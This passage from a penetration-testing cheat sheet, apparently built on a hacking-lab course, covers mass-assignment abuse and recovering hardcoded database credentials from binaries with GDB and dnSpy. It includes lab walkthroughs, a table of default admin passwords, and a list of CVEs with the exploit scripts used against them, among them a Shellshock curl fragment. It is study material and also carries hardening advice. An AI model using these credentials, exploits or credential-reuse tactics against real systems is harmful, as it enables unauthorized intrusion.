    993 **Mass assignment.** The vulnerable pattern only checks whether a field *exists* — its value is irrelevant:
    994 
    995 ```python
    996 try:
    997     if request.form['confirmed']:   # existence check only
    998         cond = True
    999 except:
   1000     cond = False
   1001 ```
   1002 ```
   1003 # Burp: add a field the real form never exposes
   1004 POST /register
   1005 username=new&password=test&confirmed=test
   1006 ```
   1007 
   1008 The Rails equivalent (`attr_accessible :username, :email`) breaks the same way — smuggle `admin: true` inside the `user` hash. Modern Rails uses Strong Parameters (`params.require(:user).permit(:username, :email)`), which whitelists — but an over-broad `permit!` re-opens the hole. Fix is always explicit whitelisting, never a blacklist or existence check.
   1009 
   1010 ---
   1011 
   1012 ## 16 · Applications connecting to services `fas:Terminal`
   1013 
   1014 Apps that talk to a backend commonly embed a connection string with live credentials in the compiled binary, not a greppable config file. Recover it from two formats — an ELF in a debugger, a .NET DLL in a decompiler — and test the creds for reuse elsewhere.
   1015 
   1016 <figure class="flow plate corners">
   1017   <figcaption class="flow__cap"><span class="flow__kind">Connection-string recovery</span><span class="flow__dir">TD</span></figcaption>
   1018   <div class="flow__body">
   1019     <div class="flow__diagram" data-dir="td">
   1020       <div class="flow-rank"><div class="flow-node is-entry">Binary connects to a backend</div></div>
   1021       <div class="flow-edge"></div>
   1022       <div class="flow-rank"><div class="flow-node is-decision">Type?</div></div>
   1023       <div class="flow-branches">
   1024         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">ELF native</span></div><div class="flow-node">GDB + GEF/PEDA:<span class="sub">breakpoint the connect call</span></div></div>
   1025         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">.NET assembly</span></div><div class="flow-node">dnSpy: decompile to C#</div></div>
   1026       </div>
   1027       <div class="flow-join"></div>
   1028       <div class="flow-rank"><div class="flow-node">Connection string sits<span class="sub">in a register at the breakpoint</span></div></div>
   1029       <div class="flow-edge"></div>
   1030       <div class="flow-rank"><div class="flow-node is-goal">Reuse creds / password-spray</div></div>
   1031     </div>
   1032   </div>
   1033 </figure>
   1034 
   1035 > [!info] Why not just `strings`?
   1036 > Connection strings are often assembled at runtime from reordered, endianness-reversed fragments, so a flat `strings` pass can miss the finished value. A breakpoint at the actual connect API captures the complete string.
   1037 
   1038 **ELF → MS SQL.** Run it to learn the driver API (`SQLDriverConnect`), disassemble, breakpoint the call, and read the register:
   1039 
   1040 ```bash
   1041 gdb ./octopus_checker
   1042 gdb-peda$ set disassembly-flavor intel
   1043 gdb-peda$ disas main               # find call to SQLDriverConnect@plt
   1044 gdb-peda$ b *0x5555555551b0
   1045 gdb-peda$ run
   1046 #  RDX: "DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;"
   1047 ```
   1048 
   1049 **.NET DLL.** IL decompiles cleanly — triage the metadata, then read the controller in dnSpy:
   1050 
   1051 ```powershell
   1052 Get-FileMetaData .\MultimasterAPI.dll     # .NETFramework v4.6.1 · api/getColleagues
   1053 #  dnSpy → MultimasterAPI.Controllers.ColleagueController → connection string inline
   1054 ```
   1055 
   1056 > [!tip] Maintained tooling
   1057 > **GEF** is the actively maintained GDB extension (successor to PEDA). **dnSpyEx** for .NET. For a fast first pass, `strings` + `binwalk`/`floss` (FLARE Obfuscated String Solver) sometimes recovers runtime-built strings without a debugger.
   1058 
   1059 ---
   1060 
   1061 ## 17 · Other applications & hardening `fas:BookOpen`
   1062 
   1063 The specific apps above are practice material for one transferable method. Applied to anything unfamiliar:
   1064 
   1065 <figure class="flow plate corners">
   1066   <figcaption class="flow__cap"><span class="flow__kind">Unknown-app method</span><span class="flow__dir">TD</span></figcaption>
   1067   <div class="flow__body">
   1068     <svg class="flow-svg" viewBox="0 0 960 600" role="img" aria-label="Unknown app found to a default-creds decision; yes gives admin access, no leads to a known-CVE decision splitting into a public exploit or reading the docs for abusable functionality; all three paths converge on RCE via a deploy, upload or script feature">
   1069       <path class="fedge" d="M450,88 L450,160" marker-end="url(#flow-arrow)" />
   1070       <path class="fedge" d="M450,208 L240,280" marker-end="url(#flow-arrow)" />
   1071       <path class="fedge" d="M450,208 L660,280" marker-end="url(#flow-arrow)" />
   1072       <path class="fedge" d="M660,328 L520,400" marker-end="url(#flow-arrow)" />
   1073       <path class="fedge" d="M660,328 L800,400" marker-end="url(#flow-arrow)" />
   1074       <path class="fedge" d="M240,328 L400,520" marker-end="url(#flow-arrow)" />
   1075       <path class="fedge" d="M520,448 L470,520" marker-end="url(#flow-arrow)" />
   1076       <path class="fedge" d="M800,448 L540,520" marker-end="url(#flow-arrow)" />
   1077       <g class="fnode is-entry"><rect class="fnode__box" x="360" y="40" width="180" height="48" /><text class="fnode__label" x="450" y="68" text-anchor="middle">Unknown app found</text></g>
   1078       <g class="fnode is-decision"><rect class="fnode__box" x="350" y="160" width="200" height="48" /><text class="fnode__label" x="450" y="188" text-anchor="middle">Default creds?</text></g>
   1079       <g class="fnode"><rect class="fnode__box" x="150" y="280" width="180" height="48" /><text class="fnode__label" x="240" y="308" text-anchor="middle">Admin access</text></g>
   1080       <g class="fnode is-decision"><rect class="fnode__box" x="540" y="280" width="240" height="48" /><text class="fnode__label" x="660" y="308" text-anchor="middle">Known CVE for this version?</text></g>
   1081       <g class="fnode"><rect class="fnode__box" x="425" y="400" width="190" height="48" /><text class="fnode__label" x="520" y="428" text-anchor="middle">Public exploit / PoC</text></g>
   1082       <g class="fnode"><rect class="fnode__box" x="680" y="400" width="240" height="48" /><text class="fnode__label" x="800" y="420" text-anchor="middle">Read the docs → find built-in<tspan class="sub" x="800" dy="15">functionality to abuse</tspan></text></g>
   1083       <g class="fnode is-goal"><rect class="fnode__box" x="325" y="520" width="290" height="48" /><text class="fnode__label" x="470" y="548" text-anchor="middle">RCE via deploy/upload/script feature</text></g>
   1084       <g class="felabel"><rect class="felabel__box" x="330" y="236" width="30" height="16" /><text class="felabel__text" x="345" y="247" text-anchor="middle">Yes</text></g>
   1085       <g class="felabel"><rect class="felabel__box" x="543" y="236" width="24" height="16" /><text class="felabel__text" x="555" y="247" text-anchor="middle">No</text></g>
   1086       <g class="felabel"><rect class="felabel__box" x="575" y="356" width="30" height="16" /><text class="felabel__text" x="590" y="367" text-anchor="middle">Yes</text></g>
   1087       <g class="felabel"><rect class="felabel__box" x="718" y="356" width="24" height="16" /><text class="felabel__text" x="730" y="367" text-anchor="middle">No</text></g>
   1088     </svg>
   1089   </div>
   1090 </figure>
   1091 
   1092 ### Honourable mentions
   1093 
   1094 | Application | Where to start |
   1095 |---|---|
   1096 | **Axis2** | Often on Tomcat. Weak/default admin creds → upload a web shell as an AAR (like a Tomcat WAR). Metasploit module exists. |
   1097 | **WebSphere** | Default `system:manager` → deploy a WAR for RCE. |
   1098 | **Elasticsearch** | Multiple serious CVEs; hunt forgotten/unauth instances (HTB *Haystack*). |
   1099 | **Zabbix** | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE; the API itself is abusable (HTB *Zipper*). |
   1100 | **Nagios** | History of RCE/privesc/SQLi/XSS. Default `nagiosadmin:PASSW0RD`. |
   1101 | **WebLogic** | Java EE server, 190+ CVEs, many unauth deserialisation RCEs (2007–2021). |
   1102 | **Wikis/intranets** | MediaWiki, SharePoint, custom builds — known CVEs plus search features that surface credentials. |
   1103 | **DotNetNuke (DNN)** | .NET CMS — auth bypass, traversal, file-upload bypass, arbitrary download. SQL Console → `xp_cmdshell`. |
   1104 | **vCenter** | Weak creds + CVE-2021-22005 (unauth OVA-upload RCE). Often already SYSTEM or domain admin — a single point of full compromise. |
   1105 
   1106 ### Hardening reference
   1107 
   1108 - **Authentication:** strong passwords, change/disable default admin accounts, MFA for admins.
   1109 - **Access controls:** keep admin/login pages internal unless there's a real need; deny uploads/deploys where not required.
   1110 - **Disable unsafe features:** in-browser PHP editing (WordPress Theme Editor, Drupal PHP Filter) is a built-in RCE primitive even after a credential compromise.
   1111 - **Patch promptly:** nearly every exploit here is version-gated and long fixed upstream.
   1112 - **Inventory everything:** including shadow IT and forgotten trials — an org can't protect what it doesn't know exists (the Splunk trial is the poster child).
   1113 
   1114 | App | Fix |
   1115 |---|---|
   1116 | WordPress | Security plugin (WordFence) for monitoring, blocking, MFA |
   1117 | Joomla | Gate the admin login behind a secret key (AdminExile) |
   1118 | Drupal | Disable/hide/move the admin login |
   1119 | Tomcat | Restrict Manager/Host-Manager to localhost or IP-whitelist + strong non-standard creds |
   1120 | Jenkins | Fine-grained perms via the Matrix Authorization Strategy plugin |
   1121 | Splunk | Change defaults; license properly so auth can't silently lapse |
   1122 | PRTG | Patch; change the default `prtgadmin` password |
   1123 | osTicket | Limit internet exposure |
   1124 | GitLab | Restrict sign-up (admin approval, allowed email domains) |
   1125 
   1126 ---
   1127 
   1128 ## 18 · Skills assessments `fas:Terminal`
   1129 
   1130 Three narrative labs against dynamically spawned INLANEFREIGHT targets. There are no fixed flags to reproduce — the value is running the whole method end to end and recording exact commands, output, and derived creds against your own instance.
   1131 
   1132 > [!example]+ Assessment I — foothold on the one soft host
   1133 > A well-hardened network with one interesting host. Enumerate → fingerprint every web app → default creds + version CVEs → abuse built-in functionality → `flag.txt`.
   1134 > ```bash
   1135 > sudo nmap -sV -sC -p- --open <target>
   1136 > ```
   1137 
   1138 > [!example]+ Assessment II — the "boring" host hiding GitLab
   1139 > Re-enumerate a host that first seemed dull; a note points at `gitlab.inlanefreight.local`. Apply the [GitLab method](#10--gitlab-fasterminal--lab-port-8081) in full: `/etc/hosts` → `/explore` → self-registration → username enum → confirm version against the ExifTool RCE class.
   1140 
   1141 > [!example]+ Assessment III — hardcoded MSSQL password
   1142 > A Windows host with valid Administrator creds; find the MSSQL service password. Straight application of §16:
   1143 > ```bash
   1144 > evil-winrm -i <target> -u Administrator -p '<password>'
   1145 > #  locate the MSSQL-connecting binary → GDB/x64dbg breakpoint (native) or dnSpy (.NET)
   1146 > ```
   1147 
   1148 `evil-winrm` is still the standard for interactive WinRM. Across all three, an `httpx`/`nuclei` sweep speeds the initial fingerprint before the manual, app-specific work.
   1149 
   1150 ---
   1151 
   1152 ## Quick reference `fas:ClipboardList`
   1153 
   1154 **Default credentials:** Tomcat `tomcat:tomcat` / `tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`.
   1155 
   1156 **Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins 8080 (agent 5000) · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab (lab) 8081 · LDAP 389/636 · MSSQL 1433.
   1157 
   1158 | CVE | Target | Class | Delivery |
   1159 |---|---|---|---|
   1160 | CVE-2020-24186 | WordPress wpDiscuz | unauth upload RCE | `wp_discuz.py` |
   1161 | CVE-2019-10945 | Joomla core 1.5.0–3.9.4 | auth traversal + file delete | `joomla_dir_trav.py` |
   1162 | CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi → rogue admin | `drupal_drupageddon` |
   1163 | CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` |
   1164 | CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` |
   1165 | CVE-2020-1938 | Tomcat <9.0.31/8.5.51/7.0.100 | unauth AJP file read (Ghostcat) | `tomcat-ajp.lfi.py` |
   1166 | CVE-2019-0232 | Tomcat (Windows CGI) | command injection | `ffuf` + URL-encoded query |
   1167 | CVE-2018-9276 | PRTG <18.2.39 | auth command injection | notification "Execute Program" |
   1168 | CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor to ≤13.10.2 auth RCE) |
   1169 | CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` |
   1170 | CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → cred leak | `14641.py` |
   1171 | CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` |
   1172 | CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — |
   1173 
   1174 ## Lessons learned `fas:Lightbulb`
   1175 
   1176 1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the generator meta, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash *before* you pick an exploit.
   1177 2. **Admin console ≈ RCE.** Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE does.
   1178 3. **Upload = a live backdoor.** WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→`.asp`, C#→`.aspx`, JSP→WAR).
   1179 4. **Apps carry other systems' creds.** Config files, connection strings, and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services-guide) and lateral movement — test every recovered credential for reuse.
   1180 5. **Scanners and eyes are complementary.** WPScan missed plugins that `curl | grep` caught; run both.
   1181 6. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest.
   1182 
   1183 ## References `fas:BookOpen`
   1184 
   1185 1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113)
   1186 2. [WPScan](https://wpscan.com/) · [droopescan](https://github.com/SamJoan/droopescan)
   1187 3. [CVE-2020-24186 — wpDiscuz RCE](https://www.exploit-db.com/exploits/48706) · [CVE-2019-10945 — Joomla traversal](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945)
   1188 4. Drupalgeddon: [CVE-2014-3704](https://nvd.nist.gov/vuln/detail/CVE-2014-3704) · [CVE-2018-7600](https://nvd.nist.gov/vuln/detail/CVE-2018-7600) · [CVE-2018-7602](https://nvd.nist.gov/vuln/detail/CVE-2018-7602)
   1189 5. Tomcat: [Ghostcat CVE-2020-1938](https://nvd.nist.gov/vuln/detail/CVE-2020-1938) · [CVE-2019-0232](https://nvd.nist.gov/vuln/detail/CVE-2019-0232) · [tennc/webshell](https://github.com/tennc/webshell)
   1190 6. [Jenkins security advisories](https://www.jenkins.io/security/advisories/) · [Splunk custom apps](https://dev.splunk.com/enterprise/)
   1191 7. [CVE-2018-9276 — PRTG](https://nvd.nist.gov/vuln/detail/CVE-2018-9276) · [HTB Netmon](https://app.hackthebox.com/machines/Netmon)
   1192 8. [CVE-2021-22205 — GitLab ExifTool RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-22205) · [Exploit-DB 49951 — GitLab 13.10.2 auth RCE](https://www.exploit-db.com/exploits/49951)
   1193 9. [CVE-2014-6271 — Shellshock](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)
   1194 10. ColdFusion: [CVE-2010-2861](https://nvd.nist.gov/vuln/detail/CVE-2010-2861) · [CVE-2009-2265](https://nvd.nist.gov/vuln/detail/CVE-2009-2265)
   1195 11. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
   1196 12. [OWASP — LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) · [OWASP — Mass Assignment](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
   1197 13. Reversing: [Ghidra](https://ghidra-sre.org/) · [dnSpyEx](https://github.com/dnSpyEx/dnSpy) · [GEF](https://github.com/hugsy/gef) · [FLOSS](https://github.com/mandiant/flare-floss)
   1198 
   1199 ## Image credits `fas:BookOpen`
   1200 
   1201 Logos are re-hosted from Wikimedia Commons for identification only and remain the trademarks of their respective owners. The table below carries the author and licence for each — this satisfies the attribution/notice terms of the CC BY-SA, GPL, and MIT marks; public-domain and CC0 marks are listed for completeness.
   1202 
   1203 | Image | Author / owner | Licence | Source |
   1204 |---|---|---|---|
   1205 | WordPress | WordPress Foundation | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:WordPress_logo.svg) |
   1206 | Joomla | Open Source Matters | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Joomla!-Logo.svg) |
   1207 | Drupal (Druplicon) | Drupal project | GPL-2.0 | [Commons](https://commons.wikimedia.org/wiki/File:Druplicon.vector.svg) |
   1208 | Apache Tomcat | Apache Software Foundation | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Apache_Tomcat_logo.svg) |
   1209 | Jenkins | The Jenkins project | CC BY-SA 3.0 | [Commons](https://commons.wikimedia.org/wiki/File:Jenkins_logo_with_title.svg) |
   1210 | Splunk | Splunk Inc. | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Splunk_logo.svg) |
   1211 | PRTG | Paessler AG | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:PRTG_Logo.svg) |
   1212 | osTicket | Rajsinghnovanet (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Osticket_long_logo.png) |
   1213 | GitLab | GitLab B.V. | MIT | [Commons](https://commons.wikimedia.org/wiki/File:GitLab_logo.svg) |
   1214 | Adobe ColdFusion | Adobe Inc. | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:Adobe_ColdFusion_logo_2021.svg) |
   1215 | Microsoft IIS | Tanya Pradhan (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Iis-logo.png) |
   1216 | Shellshock bug | Wikimedia Commons | CC0 (public domain) | [Commons](https://commons.wikimedia.org/wiki/File:Shellshock-bug.svg) |
   1217 
   1218 ---
   1219 
   1220 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation)